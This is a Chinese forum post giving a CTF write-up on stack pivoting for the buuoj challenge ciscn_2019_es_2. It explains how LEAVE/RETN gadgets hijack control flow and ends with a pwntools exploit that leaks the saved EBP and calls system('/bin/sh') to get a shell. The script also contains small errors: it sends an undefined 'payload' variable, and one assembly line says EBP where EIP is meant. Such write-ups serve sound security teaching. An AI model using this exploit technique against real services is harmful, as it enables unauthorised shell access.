安全矩阵

 找回密码
 立即注册
搜索
查看: 1671|回复: 0

ciscn_2019_es_2 栈迁移

[复制链接]

46

主题

165

帖子

731

积分

高级会员

Rank: 4

积分
731
发表于 2022-1-22 10:51:56 | 显示全部楼层 |阅读模式
先说结论:
当return address向后溢出的长度无法满足构造的rop链的时候就会用到栈迁移。
栈迁移就是利用两个LEAVE/RETN指令,实现ESP、EBP和EIP的控制。第一个POP EBP指令跳去攻击者想要跳去的地址,第二个LEAVE指令用于将ESP指向攻击者设置好的EBP,这样就完成了栈的迁移。随后的POP EBP并不会对EBP造成影响,只是ESP指向了ESP+4。RETN(即POP EIP)控制EIP指向ESP栈顶位置,就是我们shellcode的地址。随后可以开始执行shellcode了。

首先了解一下函数调用过程中栈的变化,汇编伪代码如下:
  1. PUSH arga//参数a入栈
  2. PUSH argb//参数b入栈
  3. CALL func
  4. ADD ESP,8h//平衡堆栈


  5. func:
  6. PUSH EBP //保存函数调用前的EBP
  7. MOV EBP,ESP //令EBP指向ESP的地址,即原ESP作为新EBP
  8. SUB ESP,48h//开辟func函数的栈空间
  9. xxxxx
  10. MOV ESP,EBP//令ESP指向EBP的地址,即恢复为函数开辟的栈空间。
  11. POP EBP
  12. RETN
复制代码
展开来讲,CALL和RETN指令的本质都是修改EIP。
CALL指令的本质就是将CALL下一条指令压栈(同时ESP的值也要减4),然后将func函数的地址传给EIP。即:
  1. PUSH EIP+4
  2. MOV EIP,[func]
复制代码
而RETN指令的本质,是将栈顶指针弹出传给EIP(同时ESP的值也要加4),也就是此时EIP指向[ESP-4]。即:
  1. POP EIP
复制代码
这样看来,上面的指令就变成了
  1. PUSH arga
  2. PUSH argb
  3. PUSH EBP+4
  4. MOV EIP,[func]
  5. ADD ESP,8h


  6. func:
  7. PUSH EBP
  8. MOV EBP,ESP
  9. SUB ESP,48h
  10. xxxxx
  11. MOV ESP,EBP
  12. POP EBP
  13. POP EIP
复制代码
函数调用结束刚好是函数调用开始的逆过程,用于恢复堆栈。

知道了这些之后,可以再返回看一下我们开头的结论部分,大概有数之后,就可以继续看栈迁移具体的实现流程了。
设攻击者想要跳转到的地址为shellcoed_addr,另一处LEAVE/RETN的地址为gadget_addr。
1. 利用缓冲区溢出,覆盖原函数的LEAVE和RETN两处分别为[shellcoed_addr+4]和gadget_addr。
​​
2. 函数执行到POP EBP这条指令的时候,EBP被修改成了[shellcoed_addr+4]。此时ESP下移,
3. 继续执行RETN(POP EIP),EIP被修改成了gadget_addr。

4. 执行gadget_addr的内容,即
  1. MOV ESP,EBP
  2. POP EBP
  3. RETN
复制代码
这时候`MOV ESP,EBP`会将ESP也指向[shellcoed_addr-4]。
`POP EBP`将栈顶指针传给EBP,栈顶指针ESP原本就是[shellcoed_addr-4],所以没有实质影响。执行完后ESP指向[shellcoed_addr]。这时候,`RETN`即`POP EIP`将ESP当前的地址[shellcoed_addr]弹出给EIP。这样就实现了控制EIP。

注:ESP在进行了两个POP指令之后会比EBP地址大,但这并不影响,我们要做的是控制EIP。

以几道题为例。
1. ciscn_2019_es_2 from buuoj
checksec一下
  1. seclab@seclabPC:/home/PycharmProjectspy2/pwn$ checksec ./ciscn
  2. [*] '/home/PycharmProjectspy2/pwn/ciscn'
  3.     Arch:     i386-32-little
  4.     RELRO:    Partial RELRO
  5.     Stack:    No canary found
  6.     NX:       NX enabled
  7.     PIE:      No PIE (0x8048000)
复制代码
开启了NX保护,是32位程序。

拖进ida中查看一下。
发现了函数列表中有个hack函数,进去发现了system函数。但是没有/bin/sh,需要自己填入。
​​
这是主函数
  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3.   init();
  4.   puts("Welcome, my friend. What's your name?");
  5.   vul();
  6.   return 0;
  7. }
复制代码
​​


跟进vul函数查看函数里面是什么
  1. int vul()
复制代码
​​
可以看到一个长度为0x28的数组,memset对它进行初始化清零。
read函数只能读入0x30个字节,s的首地址距离ebp有0x28个字节。所以只能溢出0x30-0x28=8个字节。而一个地址四个字节,所以只能覆盖old ebp和retn。可以使用栈迁移来解决栈溢出空间不足的问题。

查找一下栈迁移需要的leave_ret指令。
​​
同时没有查找到bin/sh串,这个参数需要我们传入。
我们可以将目标地址设置在s数组的内存区域。既然如此,首先我们需要知道s数组的首地址距离old_ebp的距离。这样就可以定位新的ebp和作为payload传入的/bin/sh的地址。
下面就来确定偏移。
注意到,read函数后是printf函数,printf具有不遇到\0就会一直输出的特点,所以可以利用这一点来泄露old_ebp的地址。
同时在ida中看到,距离vul函数的leave_ret最近的地方有一个nop指令,可以把断点下在这里,方便进行调试和查看堆栈状态。
​​
提示输入,输入两次后查看堆栈。
​​
0xd018-0xcff0=0x38,说明我们输入的参数距离old_ebp的距离是0x38字节。
另外,由于leave指令会pop ebp,将esp地址拉高4个字节,所以需要aaaa打头来平衡,pop掉aaaa后,esp将会指向system的地址,再pop给eip的就是system的地址了。

这样就可以构造payload。
​​
计算得到old_ebp-0x38+0x4×4=old_ebp-0x28,即传入的binsh串的首地址是old_ebp-0x28。

定位system函数:
​​
​​
写出exp:

(注意应使用pwntools中的 send 而非 sendline,否则payload末尾会附上终止符导致无法连带打印出栈上内容)
  1. from pwn import *

  2. p = remote("node4.buuoj.cn", 26038)
  3. system_addr = 0x8048400
  4. gadget_leave_ret_addr = 0x080484b8

  5. payload1 = 'a'*0x24+'b'*0x4
  6. p.send(payload)
  7. p.recvuntil('bbbb')
  8. old_ebp = u32(p.recv(4))

  9. payload2 = 'a'*0x4+p32(system_addr)+'b'*0x4+p32(old_ebp-0x28)+"/bin/sh"
  10. payload2=payload2.ljust(0x28,'\x00')
  11. payload2 += p32(old_ebp-0x38)+p32(gadget_leave_ret_addr)

  12. p.sendline(payload2)
  13. p.interactive()
复制代码
​​

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-17 01:50 , Processed in 0.014074 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表